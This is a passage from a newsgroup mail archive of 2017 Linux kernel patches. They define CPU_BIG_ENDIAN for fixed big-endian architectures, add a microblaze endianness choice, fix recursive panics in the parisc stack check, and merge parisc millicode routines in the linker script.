        Thu, 6 Jul 2017 12:36:05 -0400
Original-Received: from aserv0021.oracle.com (aserv0021.oracle.com [141.146.126.233])
        by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id v66GYhYx007601
        (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
        Thu, 6 Jul 2017 16:34:44 GMT
Original-Received: from userv0122.oracle.com (userv0122.oracle.com [156.151.31.75])
        by aserv0021.oracle.com (8.13.8/8.14.4) with ESMTP id v66GYfNc001050
        (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
        Thu, 6 Jul 2017 16:34:42 GMT
Original-Received: from abhmp0007.oracle.com (abhmp0007.oracle.com [141.146.116.13])
        by userv0122.oracle.com (8.14.4/8.14.4) with ESMTP id v66GYbS0024642;
        Thu, 6 Jul 2017 16:34:38 GMT
Original-Received: from ca-qasparc20.us.oracle.com (/10.147.24.73)
        by default (Oracle Beehive Gateway v4.0)
        with ESMTP ; Thu, 06 Jul 2017 09:34:37 -0700
X-Mailer: git-send-email 1.7.1
In-Reply-To: <1499358861-179979-1-git-send-email-babu.moger@oracle.com>
X-Source-IP: aserv0021.oracle.com [141.146.126.233]
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2518214 gmane.linux.ports.m68k:9429 gmane.linux.ports.parisc:27544 gmane.linux.ports.sparc:25827
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2518214>

We have seen some generic code use config parameter CONFIG_CPU_BIG_ENDIAN
to decide the endianness.

Here are the few examples.
include/asm-generic/qrwlock.h
drivers/of/base.c
drivers/of/fdt.c
drivers/tty/serial/earlycon.c
drivers/tty/serial/serial_core.c

Display warning if CPU_BIG_ENDIAN is not defined on big endian
architecture and also warn if it defined on little endian architectures.

Here is our original discussion
https://lkml.org/lkml/2017/5/24/620

Signed-off-by: Babu Moger <babu.moger@oracle.com>
Suggested-by: Arnd Bergmann <arnd@arndb.de>
Acked-by: Geert Uytterhoeven <geert@linux-m68k.org>
---
 include/linux/byteorder/big_endian.h    |    4 ++++
 include/linux/byteorder/little_endian.h |    4 ++++
 2 files changed, 8 insertions(+), 0 deletions(-)

diff --git a/include/linux/byteorder/big_endian.h b/include/linux/byteorder/big_endian.h
index 3920414..ffd2159 100644
--- a/include/linux/byteorder/big_endian.h
+++ b/include/linux/byteorder/big_endian.h
@@ -3,5 +3,9 @@
 
 #include <uapi/linux/byteorder/big_endian.h>
 
+#ifndef CONFIG_CPU_BIG_ENDIAN
+#warning inconsistent configuration, needs CONFIG_CPU_BIG_ENDIAN
+#endif
+
 #include <linux/byteorder/generic.h>
 #endif /* _LINUX_BYTEORDER_BIG_ENDIAN_H */
diff --git a/include/linux/byteorder/little_endian.h b/include/linux/byteorder/little_endian.h
index 0805737..ba910bb 100644
--- a/include/linux/byteorder/little_endian.h
+++ b/include/linux/byteorder/little_endian.h
@@ -3,5 +3,9 @@
 
 #include <uapi/linux/byteorder/little_endian.h>
 
+#ifdef CONFIG_CPU_BIG_ENDIAN
+#warning inconsistent configuration, CONFIG_CPU_BIG_ENDIAN is set
+#endif
+
 #include <linux/byteorder/generic.h>
 #endif /* _LINUX_BYTEORDER_LITTLE_ENDIAN_H */
-- 
1.7.1



From - Thu Nov 08 21:40:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Babu Moger <babu.moger@oracle.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.m68k,gmane.linux.ports.parisc,gmane.linux.ports.sparc
Subject: [PATCH v3 2/3] arch/microblaze: Add choice for endianness and update Makefile
Date: Thu,  6 Jul 2017 09:34:20 -0700
Lines: 58
Approved: news@gmane.org
Message-ID: <1499358861-179979-3-git-send-email-babu.moger@oracle.com>
References: <1499358861-179979-1-git-send-email-babu.moger@oracle.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1499358987 16291 195.159.176.226 (6 Jul 2017 16:36:27 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 6 Jul 2017 16:36:27 +0000 (UTC)
Cc: mpe@ellerman.id.au, peterz@infradead.org, mingo@redhat.com,
        jcmvbkbc@gmail.com, linux-kernel@vger.kernel.org,
        uclinux-h8-devel@lists.sourceforge.jp, linux-m68k@vger.kernel.org,
        openrisc@lists.librecores.org, linux-parisc@vger.kernel.org,
        sparclinux@vger.kernel.org
To: gregkh@linuxfoundation.org, ysato@users.sourceforge.jp,
        geert@linux-m68k.org, jonas@southpole.se,
        stefan.kristiansson@saunalahti.fi, shorne@gmail.com,
        jejb@parisc-linux.org, deller@gmx.de, davem@davemloft.net,
        viro@zeniv.linux.org.uk, monstr@monstr.eu
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jul 06 18:36:21 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dT9lI-0003he-EG
	for glk-linux-kernel-3@m.gmane.org; Thu, 06 Jul 2017 18:36:16 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752448AbdGFQgM (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Thu, 6 Jul 2017 12:36:12 -0400
Original-Received: from userp1040.oracle.com ([156.151.31.81]:25568 "EHLO
        userp1040.oracle.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751796AbdGFQgJ (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 6 Jul 2017 12:36:09 -0400
Original-Received: from userv0021.oracle.com (userv0021.oracle.com [156.151.31.71])
        by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id v66GYgEZ003778
        (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
        Thu, 6 Jul 2017 16:34:42 GMT
Original-Received: from userv0121.oracle.com (userv0121.oracle.com [156.151.31.72])
        by userv0021.oracle.com (8.14.4/8.14.4) with ESMTP id v66GYfha017089
        (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
        Thu, 6 Jul 2017 16:34:41 GMT
Original-Received: from abhmp0007.oracle.com (abhmp0007.oracle.com [141.146.116.13])
        by userv0121.oracle.com (8.14.4/8.13.8) with ESMTP id v66GYact032020;
        Thu, 6 Jul 2017 16:34:36 GMT
Original-Received: from ca-qasparc20.us.oracle.com (/10.147.24.73)
        by default (Oracle Beehive Gateway v4.0)
        with ESMTP ; Thu, 06 Jul 2017 09:34:36 -0700
X-Mailer: git-send-email 1.7.1
In-Reply-To: <1499358861-179979-1-git-send-email-babu.moger@oracle.com>
X-Source-IP: userv0021.oracle.com [156.151.31.71]
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2518215 gmane.linux.ports.m68k:9430 gmane.linux.ports.parisc:27545 gmane.linux.ports.sparc:25828
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2518215>

microblaze architectures can be configured for either little or
big endian formats. Add a choice option for the user to select the
correct endian format(default to big endian).

Also update the Makefile so toolchain can compile for the format
it is configured for.

Signed-off-by: Babu Moger <babu.moger@oracle.com>
Signed-off-by: Arnd Bergmann <arnd@arndb.de>
---
 arch/microblaze/Kconfig  |   16 ++++++++++++++++
 arch/microblaze/Makefile |    2 ++
 2 files changed, 18 insertions(+), 0 deletions(-)

diff --git a/arch/microblaze/Kconfig b/arch/microblaze/Kconfig
index 85885a5..74aa5de 100644
--- a/arch/microblaze/Kconfig
+++ b/arch/microblaze/Kconfig
@@ -35,6 +35,22 @@ config MICROBLAZE
 	select VIRT_TO_BUS
 	select CPU_NO_EFFICIENT_FFS
 
+# Endianness selection
+choice
+	prompt "Endianness selection"
+	default CPU_BIG_ENDIAN
+	help
+	  microblaze architectures can be configured for either little or
+	  big endian formats. Be sure to select the appropriate mode.
+
+config CPU_BIG_ENDIAN
+	bool "Big endian"
+
+config CPU_LITTLE_ENDIAN
+	bool "Little endian"
+
+endchoice
+
 config SWAP
 	def_bool n
 
diff --git a/arch/microblaze/Makefile b/arch/microblaze/Makefile
index 740f2b8..1f6c486 100644
--- a/arch/microblaze/Makefile
+++ b/arch/microblaze/Makefile
@@ -35,6 +35,8 @@ endif
 CPUFLAGS-$(CONFIG_XILINX_MICROBLAZE0_USE_DIV) += -mno-xl-soft-div
 CPUFLAGS-$(CONFIG_XILINX_MICROBLAZE0_USE_BARREL) += -mxl-barrel-shift
 CPUFLAGS-$(CONFIG_XILINX_MICROBLAZE0_USE_PCMP_INSTR) += -mxl-pattern-compare
+CPUFLAGS-$(CONFIG_BIG_ENDIAN) += -mbig-endian
+CPUFLAGS-$(CONFIG_LITTLE_ENDIAN) += -mlittle-endian
 
 CPUFLAGS-1 += $(call cc-option,-mcpu=v$(CPU_VER))
 
-- 
1.7.1



From - Thu Nov 08 21:40:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Babu Moger <babu.moger@oracle.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.m68k,gmane.linux.ports.parisc,gmane.linux.ports.sparc
Subject: [PATCH v3 1/3] arch: Define CPU_BIG_ENDIAN for all fixed big endian archs
Date: Thu,  6 Jul 2017 09:34:19 -0700
Lines: 127
Approved: news@gmane.org
Message-ID: <1499358861-179979-2-git-send-email-babu.moger@oracle.com>
References: <1499358861-179979-1-git-send-email-babu.moger@oracle.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1499358989 16673 195.159.176.226 (6 Jul 2017 16:36:29 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 6 Jul 2017 16:36:29 +0000 (UTC)
Cc: mpe@ellerman.id.au, peterz@infradead.org, mingo@redhat.com,
        jcmvbkbc@gmail.com, linux-kernel@vger.kernel.org,
        uclinux-h8-devel@lists.sourceforge.jp, linux-m68k@vger.kernel.org,
        openrisc@lists.librecores.org, linux-parisc@vger.kernel.org,
        sparclinux@vger.kernel.org
To: gregkh@linuxfoundation.org, ysato@users.sourceforge.jp,
        geert@linux-m68k.org, jonas@southpole.se,
        stefan.kristiansson@saunalahti.fi, shorne@gmail.com,
        jejb@parisc-linux.org, deller@gmx.de, davem@davemloft.net,
        viro@zeniv.linux.org.uk, monstr@monstr.eu
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jul 06 18:36:21 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dT9lI-0003he-Tj
	for glk-linux-kernel-3@m.gmane.org; Thu, 06 Jul 2017 18:36:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752504AbdGFQgO (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Thu, 6 Jul 2017 12:36:14 -0400
Original-Received: from userp1040.oracle.com ([156.151.31.81]:25600 "EHLO
        userp1040.oracle.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1750970AbdGFQgK (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 6 Jul 2017 12:36:10 -0400
Original-Received: from aserv0022.oracle.com (aserv0022.oracle.com [141.146.126.234])
        by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id v66GYh0n003786
        (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
        Thu, 6 Jul 2017 16:34:43 GMT
Original-Received: from aserv0122.oracle.com (aserv0122.oracle.com [141.146.126.236])
        by aserv0022.oracle.com (8.14.4/8.14.4) with ESMTP id v66GYgvb014992
        (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
        Thu, 6 Jul 2017 16:34:42 GMT
Original-Received: from abhmp0007.oracle.com (abhmp0007.oracle.com [141.146.116.13])
        by aserv0122.oracle.com (8.14.4/8.14.4) with ESMTP id v66GYZQj031457;
        Thu, 6 Jul 2017 16:34:36 GMT
Original-Received: from ca-qasparc20.us.oracle.com (/10.147.24.73)
        by default (Oracle Beehive Gateway v4.0)
        with ESMTP ; Thu, 06 Jul 2017 09:34:35 -0700
X-Mailer: git-send-email 1.7.1
In-Reply-To: <1499358861-179979-1-git-send-email-babu.moger@oracle.com>
X-Source-IP: aserv0022.oracle.com [141.146.126.234]
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2518216 gmane.linux.ports.m68k:9431 gmane.linux.ports.parisc:27546 gmane.linux.ports.sparc:25829
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2518216>

While working on enabling queued rwlock on SPARC, found
this following code in include/asm-generic/qrwlock.h
which uses CONFIG_CPU_BIG_ENDIAN to clear a byte.

static inline u8 *__qrwlock_write_byte(struct qrwlock *lock)
 {
	return (u8 *)lock + 3 * IS_BUILTIN(CONFIG_CPU_BIG_ENDIAN);
 }

Problem is many of the fixed big endian architectures don't define
CPU_BIG_ENDIAN and clears the wrong byte.

Define CPU_BIG_ENDIAN for all the fixed big endian architecture to fix it.

Also found few more references of this config parameter in
drivers/of/base.c
drivers/of/fdt.c
drivers/tty/serial/earlycon.c
drivers/tty/serial/serial_core.c
Be aware that this may cause regressions if someone has worked-around
problems in the above code already. Remove the work-around.

Here is our original discussion
https://lkml.org/lkml/2017/5/24/620

Signed-off-by: Babu Moger <babu.moger@oracle.com>
Suggested-by: Arnd Bergmann <arnd@arndb.de>
Acked-by: Geert Uytterhoeven <geert@linux-m68k.org>
Acked-by: David S. Miller <davem@davemloft.net>
Acked-by: Stafford Horne <shorne@gmail.com>
---
 arch/frv/Kconfig      |    3 +++
 arch/h8300/Kconfig    |    3 +++
 arch/m68k/Kconfig     |    3 +++
 arch/openrisc/Kconfig |    3 +++
 arch/parisc/Kconfig   |    3 +++
 arch/sparc/Kconfig    |    3 +++
 6 files changed, 18 insertions(+), 0 deletions(-)

diff --git a/arch/frv/Kconfig b/arch/frv/Kconfig
index eefd9a4..1cce824 100644
--- a/arch/frv/Kconfig
+++ b/arch/frv/Kconfig
@@ -17,6 +17,9 @@ config FRV
 	select HAVE_DEBUG_STACKOVERFLOW
 	select ARCH_NO_COHERENT_DMA_MMAP
 
+config CPU_BIG_ENDIAN
+	def_bool y
+
 config ZONE_DMA
 	bool
 	default y
diff --git a/arch/h8300/Kconfig b/arch/h8300/Kconfig
index 3ae8525..5380ac8 100644
--- a/arch/h8300/Kconfig
+++ b/arch/h8300/Kconfig
@@ -23,6 +23,9 @@ config H8300
 	select HAVE_ARCH_HASH
 	select CPU_NO_EFFICIENT_FFS
 
+config CPU_BIG_ENDIAN
+	def_bool y
+
 config RWSEM_GENERIC_SPINLOCK
 	def_bool y
 
diff --git a/arch/m68k/Kconfig b/arch/m68k/Kconfig
index d140206..029a58b 100644
--- a/arch/m68k/Kconfig
+++ b/arch/m68k/Kconfig
@@ -23,6 +23,9 @@ config M68K
 	select OLD_SIGSUSPEND3
 	select OLD_SIGACTION
 
+config CPU_BIG_ENDIAN
+	def_bool y
+
 config RWSEM_GENERIC_SPINLOCK
 	bool
 	default y
diff --git a/arch/openrisc/Kconfig b/arch/openrisc/Kconfig
index 1e95920..a0f2e4a 100644
--- a/arch/openrisc/Kconfig
+++ b/arch/openrisc/Kconfig
@@ -29,6 +29,9 @@ config OPENRISC
 	select CPU_NO_EFFICIENT_FFS if !OPENRISC_HAVE_INST_FF1
 	select NO_BOOTMEM
 
+config CPU_BIG_ENDIAN
+	def_bool y
+
 config MMU
 	def_bool y
 
diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index 531da9e..dda1f55 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -47,6 +47,9 @@ config PARISC
 	  and later HP3000 series).  The PA-RISC Linux project home page is
 	  at <http://www.parisc-linux.org/>.
 
+config CPU_BIG_ENDIAN
+	def_bool y
+
 config MMU
 	def_bool y
 
diff --git a/arch/sparc/Kconfig b/arch/sparc/Kconfig
index 908f019..0d9dc49 100644
--- a/arch/sparc/Kconfig
+++ b/arch/sparc/Kconfig
@@ -92,6 +92,9 @@ config ARCH_DEFCONFIG
 config ARCH_PROC_KCORE_TEXT
 	def_bool y
 
+config CPU_BIG_ENDIAN
+	def_bool y
+
 config ARCH_ATU
 	bool
 	default y if SPARC64
-- 
1.7.1



From - Thu Nov 08 21:40:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Disable further stack checks when panic occurs
 during stack check
Date: Sat, 8 Jul 2017 23:25:14 +0200
Lines: 38
Approved: news@gmane.org
Message-ID: <20170708212514.GA2560@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1499549137 25101 195.159.176.226 (8 Jul 2017 21:25:37 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 8 Jul 2017 21:25:37 +0000 (UTC)
User-Agent: Mutt/1.8.3 (2017-05-23)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jul 08 23:25:30 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dTxEB-0005mt-5j
	for glpp-linux-parisc@m.gmane.org; Sat, 08 Jul 2017 23:25:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751680AbdGHVZ2 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sat, 8 Jul 2017 17:25:28 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:57443 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751109AbdGHVZ1 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sat, 8 Jul 2017 17:25:27 -0400
Original-Received: from ls3530.fritz.box ([193.159.23.164]) by mail.gmx.com (mrgmx003
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0MhAVV-1dGQZz3Zir-00MLot; Sat, 08
 Jul 2017 23:25:18 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:LI09iCH9O5fIZNRR0276a368ayguUKFvhddFeHkTF08aXRuY10P
 AsIfdyYPWwieYR0MAIz55pLpjVO3FvhJ0S/XEbCAzU3Yvoz5I6lKdaQToJTuc5pfQoh0wGw
 WzC6WuHGzBH/1VajYO+5nfSY2V75MBJEt3OEi09Fy5jv5BSu+AgWMce4q2kIT7ZwWEBS0mo
 iK8sPyxVN6cbjU2LbPxcA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:sa70Jk+YGxU=:uurBww0UpR1UmC7BHUr3YL
 YHkdM4Fc5UC0GNCgwQMjxwuz4yAMxgiiCYUBnmMunmSKdrBzou4O5hsHQvxFrZsiwWa4/7IB/
 AGOXoqRwsMmJ3tVHwcFdsVvQsR7xa+Udk1lcUhwn9rOOvuisJrBHq0Dceq8nIjEdNV9wNr1cT
 eYwwUwEtjGcpt5idmCLWtiBw6JgrY6VIKZUj+IGGyyH2Bl6CGvCSN7HWLNKdbs9Wdz6ffGpud
 qHXqCW18WYmNLeRQWlAMRrnbilw21+PzzuLR7w43ovqoY3/byd+5TYFHQ9EqMBUhZskwaPJaJ
 oLsrMOYCoF7JEdP6kxvdNqW3dNH4edupxEU64iTC5GXHc3gByEnStpCO4FlM/igjgbLInmG40
 +3oMVJfi3Yr5z7YDk2m0VuvlTbO2NCjYPVqdQ5ZEisO7itUgYMSDlQ3ZQEwPjOeIxnAWwqFb/
 YFNkNRjBYVllY0g8wpAGhpvEpsVChIXjGwqdtBrW+Sy1xholZYLok7zu3i0mNJwh6vOK8EWa6
 7LLL0AYDBetcqWWKkRizi+xGUKeQGk6apfebkSCgi1f7pk4LosNdBYll+y655h+3bjcwIgw4Q
 W88f6EJhXxcl9noH2/mvATQUtykyiCsKIFQgO486l+zv+aLeIA4HtkNgAKZJ2IbOb1qhhVap+
 ee7oF/ueSl5W+1Zv/tN6z999LUWsuEg+saGy2SSjfxLkmz+ahzNk9DLC66WdRFB14Bv/ih19R
 MkIdYMwOumJ4oE23hoSQyg5G7izAsQPZ8C35q5gEGogWad/oLDelPojGtms=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27547
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27547>

Before the irq handler detects a low stack and then panics the kernel, disable
further stack checks to avoid recursive panics.

Reported-by: John David Anglin <dave.anglin@bell.net>
Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/irq.c b/arch/parisc/kernel/irq.c
index ba5e1c7..5404e40 100644
--- a/arch/parisc/kernel/irq.c
+++ b/arch/parisc/kernel/irq.c
@@ -413,6 +413,10 @@ static inline void stack_overflow_check(struct pt_regs *regs)
 	if (regs->sr[7])
 		return;
 
+	/* exit if already in panic */
+	if (sysctl_panic_on_stackoverflow < 0)
+		return;
+
 	/* calculate kernel stack usage */
 	stack_usage = sp - stack_start;
 #ifdef CONFIG_IRQSTACKS
@@ -454,8 +458,10 @@ static inline void stack_overflow_check(struct pt_regs *regs)
 #ifdef CONFIG_IRQSTACKS
 panic_check:
 #endif
-	if (sysctl_panic_on_stackoverflow)
+	if (sysctl_panic_on_stackoverflow) {
+		sysctl_panic_on_stackoverflow = -1; /* disable further checks */
 		panic("low stack detected by irq handler - check messages\n");
+	}
 #endif
 }
 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Merge millicode routines via linker script
Date: Sun, 9 Jul 2017 22:50:40 +0200
Lines: 27
Approved: news@gmane.org
Message-ID: <20170709205040.GA29038@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1499633455 26606 195.159.176.226 (9 Jul 2017 20:50:55 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 9 Jul 2017 20:50:55 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jul 09 22:50:48 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dUJAG-0006W4-Ff
	for glpp-linux-parisc@m.gmane.org; Sun, 09 Jul 2017 22:50:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752620AbdGIUux (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 9 Jul 2017 16:50:53 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:55862 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752600AbdGIUuw (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 9 Jul 2017 16:50:52 -0400
Original-Received: from p100.box ([193.159.21.5]) by mail.gmx.com (mrgmx003
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0MAQ0o-1dNCPp33c2-00Bc71; Sun, 09
 Jul 2017 22:50:43 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:L+4v2a84fDVL7ZLvNiLRSq29PNxxIyAtOh7X3rfba2OFSFjLXsP
 1taEH42zHAJWM0TO5f4LOAjZDvD9i906EgoN+SNt2vlgyg7RPk44hJGktEK25kLZptX+tR4
 ZbPFzJiCEhFvAYX5uhU3tdG9kCjEM9o/cgJexhAc/4j5gTZ7OKclEwmPkCGMZWNvEQFC52F
 WKkrAe+BSK+3/vGER15kA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:5oXSqd0M24M=:JBDQmA4MMHy7GYdtkSLdDy
 UI2ObfxauTuaMcIi497j2ELZ2Zi9YHxK4Vzw0koLpYTl0JV7bAx1G93vZF/iiX6w2SM/5t3FJ
 oJMrxqySI7nGe5rImCRUI78u4qcFrLUj8FafUP+C9oYRDAHbKphez6mr9CIVtGgIeWtjYQM54
 VvY/YH43ZGg9S4GQRreLLyeyxQ/780SH/0cVfIcPtFb+Hjb4BxzrQyhPDgWsquNdj7PFeEX02
 WE7xzkfu4DfaxvOYhdHZ7USlihH3Jwctrpnscq7FxQy2TMA1zD9u/33OAQetBOBar1eHgZMOG
 fJwyNG//KrMxQf4M7HE+23/pATxrRt2d6YvHVuALOsotI6Z0z/UJRe9gpbomqoBFnbYk5JKji
 Q3zC60gkJzDwcZUknFmtm0+yqflWbcgWT8aes9Y7FIGuMeXkepHSt9bViO7RiFB0idlmwvO+a
 mFXbOgPJAFDOmis1CT0rCrKF6acHYhLSffCHZ5xLwIosfi9f5lFWDagrdIOMryfLp1k7rzfv5
 Ihq/k/EFa6p7qZVQY2PF27pv13MMBfVBJxnPCI9Sj+Dh8PVhFV7mV9DdueOFmqQUl5LNBCqkt
 t2gcY1HlrmHKapUJ6Z1NGoJMgq/zdkGOn0tIOLenmgcunlWNucSqOQXspeTa88f+C9ds6d16J
 1ATqlONtxhdRQfSA/eY0pgzNsZTOeHzHeyfGAgaGd7jExm6t+FEcKJgJ7/dN8gfli6CWkhI23
 QI3R9QzANouZg0l5jH19cdY79BmszIxLMt1kRMHVBpvUmVz6APRTLIK690I=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27549
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27549>

When compiling the 4.13-rc kernel I got those linker errors:
libgcc2.c:(.text+0x110): relocation truncated to fit: R_PARISC_PCREL22F against symbol `$$divU'
	defined in .text.div section in /usr/lib/gcc/hppa64-linux-gnu/4.9.2/libgcc.a(_divU.o)
hppa64-linux-gnu-ld: /usr/lib/gcc/hppa64-linux-gnu/4.9.2/libgcc.a(_moddi3.o)(.text+0x174): cannot reach $$divU

Avoid such errors by bundling the millicode routines in the linker script.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/vmlinux.lds.S b/arch/parisc/kernel/vmlinux.lds.S
index 3d6ef1b..ffe2cbf 100644
--- a/arch/parisc/kernel/vmlinux.lds.S
+++ b/arch/parisc/kernel/vmlinux.lds.S
@@ -78,6 +78,8 @@ SECTIONS
 		*(.text.sys_exit)
 		*(.text.do_sigaltstack)
 		*(.text.do_fork)
+		*(.text.div)
+		*($$*)			/* millicode routines */
 		*(.text.*)
 		*(.fixup)
 		*(.lock.text)		/* out-of-line lock text */
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Gleb Fotengauer-Malinovskiy <glebfm@altlinux.org>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: [PATCH] tty: Fix TIOCGPTPEER ioctl definition
Date: Tue, 11 Jul 2017 03:12:17 +0300
Lines: 125
